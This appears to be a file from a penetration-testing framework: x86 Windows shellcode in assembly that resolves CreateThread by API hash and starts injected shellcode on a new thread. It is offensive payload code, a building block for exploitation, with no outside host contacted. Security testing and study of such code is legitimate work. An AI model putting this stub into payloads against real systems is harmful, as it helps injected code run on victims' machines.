Path: blob/master/external/source/shellcode/windows/x86/src/single/createthread.asm
19500 views
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Version: 1.0 (14 July 2010)4; Size: 1675; Build: >build.py createthread6;-----------------------------------------------------------------------------;78[BITS 32]9[ORG 0]1011cld12call start13delta:14%include "./src/block/block_api.asm"15start:16pop ebp ; pop off the address of 'api_call' for calling later.17xor eax, eax18push eax19push eax20push eax21lea ebx, [ebp+threadstart-delta]22push ebx23push eax24push eax25push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )26call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL );27ret28threadstart:29pop eax ; pop off the unused thread param so the prepended shellcode can just return when done.3031